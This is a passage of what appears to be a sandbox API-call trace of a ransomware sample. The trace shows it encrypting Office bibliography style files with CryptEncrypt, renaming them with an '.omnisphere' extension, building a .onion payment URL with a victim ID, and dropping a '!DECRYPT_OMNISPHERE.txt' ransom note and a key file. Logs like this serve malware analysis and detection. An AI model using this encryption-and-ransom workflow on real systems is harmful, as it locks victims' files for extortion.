dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.635] CryptDestroyKey (hKey=0x1639568) returned 1 [0101.635] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0101.635] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d5c8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0101.635] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0101.635] GetProcessHeap () returned 0x1600000 [0101.635] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x1685eb8 [0101.635] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl.omnisphere")) returned 1 [0101.636] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.omnisphere.id" [0101.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.637] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0101.638] CloseHandle (hObject=0x3c0) returned 1 [0101.639] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0101.642] CloseHandle (hObject=0x288) returned 1 [0101.642] SetEndOfFile (hFile=0x28c) returned 1 [0101.642] FlushFileBuffers (hFile=0x28c) returned 1 [0101.688] CloseHandle (hObject=0x28c) returned 1 [0101.689] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0101.689] GetProcessHeap () returned 0x1600000 [0101.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1686170 [0101.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0101.689] GetProcessHeap () returned 0x1600000 [0101.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f030 [0101.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f030, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0101.689] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0101.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0101.689] GetProcessHeap () returned 0x1600000 [0101.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f470 [0101.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f470, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0101.689] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0101.689] GetProcessHeap () returned 0x1600000 [0101.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166aab8 [0101.689] PathCombineW (in: pszDest=0x166aab8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0101.689] GetProcessHeap () returned 0x1600000 [0101.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1684d00 [0101.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0101.690] WriteFile (in: hFile=0x28c, lpBuffer=0x1684d00*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1684d00*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0101.690] CloseHandle (hObject=0x28c) returned 1 [0101.690] GetProcessHeap () returned 0x1600000 [0101.690] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1686170 | out: hHeap=0x1600000) returned 1 [0101.690] GetProcessHeap () returned 0x1600000 [0101.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631518 [0101.690] PathCombineW (in: pszDest=0x1631518, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0101.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0101.690] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0101.690] CloseHandle (hObject=0x28c) returned 1 [0101.691] GetProcessHeap () returned 0x1600000 [0101.691] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631518 | out: hHeap=0x1600000) returned 1 [0101.691] GetProcessHeap () returned 0x1600000 [0101.691] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656820 | out: hHeap=0x1600000) returned 1 [0101.691] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b1bddb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0xce, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0101.691] GetProcessHeap () returned 0x1600000 [0101.691] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162da78 [0101.691] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="TURABIAN.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0101.691] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0101.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0101.691] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=344662) returned 1 [0101.691] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x53d32, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0101.691] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.693] GetTickCount () returned 0x1159835 [0101.694] GetTickCount () returned 0x1159835 [0101.694] GetTickCount () returned 0x1159835 [0101.694] GetTickCount () returned 0x1159835 [0101.694] GetTickCount () returned 0x1159835 [0101.694] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0101.694] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639528) returned 1 [0101.694] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0101.694] CryptDestroyKey (hKey=0x1639528) returned 1 [0101.694] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0101.694] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x54256, lpName=0x0) returned 0x288 [0101.695] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x54256) returned 0x3c00000 [0101.700] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668df0) returned 1 [0101.701] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0101.701] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.701] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.702] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: 